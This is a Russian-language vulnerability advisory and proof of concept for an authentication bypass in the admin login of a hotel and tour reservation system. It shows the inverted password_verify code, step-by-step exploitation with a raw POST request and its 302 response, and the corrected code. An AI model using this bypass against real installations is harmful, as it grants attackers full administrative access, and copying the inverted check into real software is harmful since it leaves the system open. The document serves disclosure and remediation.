
Эксплойт доказательства концепции для обхода аутентификации в Hotel and Tourism Reservation System 1.0, позволяющий неаутентифицированный доступ администратора через инвертированную логику password_verify.
| Поле | Детали |
|---|
| Название | Система бронирования отелей и туров — Обход аутентификации |
| Поставщик | code-projects.org |
| Продукт | Система бронирования отелей и туров |
| Версия | 1.0 |
| Тип уязвимости | Неправильная аутентификация |
| CWE | CWE-287 |
| Оценка CVSS | 9.0 (Критическая) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый файл | /admin/login.php |
| Требуется аутентификация | Нет |
| Удаленная эксплуатация | Да |
Критическая уязвимость обхода аутентификации существует в функционале входа администратора в Системе бронирования отелей и туров версии 1.0. Уязвимость вызвана инвертированной проверкой условия на возвращаемое значение password_verify(), из-за чего приложение предоставляет доступ при вводе неверного пароля и отказывает в доступе при вводе верного пароля. Неаутентифицированный удаленный злоумышленник может получить полный административный доступ, указав действительный адрес электронной почты и любой произвольный неверный пароль.
Файл: admin/login.php — строки 39–46
if(password_verify($password, $user['password'])){
// ОШИБКА: password_verify() возвращает TRUE, если пароль ВЕРНЫЙ
// но сообщение об ошибке размещено здесь, а не логика входа
echo '<div class="w3-text-red text-center">Введенный пароль неверен, попробуйте снова.</div>';
} else {
// ОШИБКА: этот блок выполняется, когда пароль НЕВЕРНЫЙ
// но вход предоставляется здесь, а не отображается ошибка
$userID = $user['id'];
login($userID);
}
password_verify() возвращает true, когда предоставленный пароль соответствует хешу. Разработчик поместил логику успешного входа в ветвь else (которая выполняется, когда функция возвращает false), то есть аутентификация предоставляется при любом неверном пароле.
Удаленный неаутентифицированный злоумышленник может:
Установка: Установите Систему бронирования отелей и туров версии 1.0 на XAMPP. Откройте приложение по адресу http://localhost/ht/.
Шаг 1: Перейдите на страницу входа администратора.
http:///ht/admin/login.php
Шаг 2: Введите действительный адрес электронной почты администратора и любой неверный пароль.
Электронная почта: [email protected] Пароль: wrongpassword
Шаг 3: Нажмите Войти.
Результат: Приложение обходит аутентификацию и перенаправляет на панель администратора (index.php) — полный административный доступ предоставлен с неверным паролем.
Запрос:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Ответ:
HTTP/1.1 302 Found
Location: index.php
Перенаправление 302 на index.php подтверждает успешную аутентификацию с неверным паролем.



Поменяйте местами условные ветви, чтобы вход предоставлялся, когда password_verify() возвращает true:
// ИСПРАВЛЕНО
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">Введенный пароль неверен, попробуйте снова.</div>';
}
Имад Алви — Независимый исследователь безопасности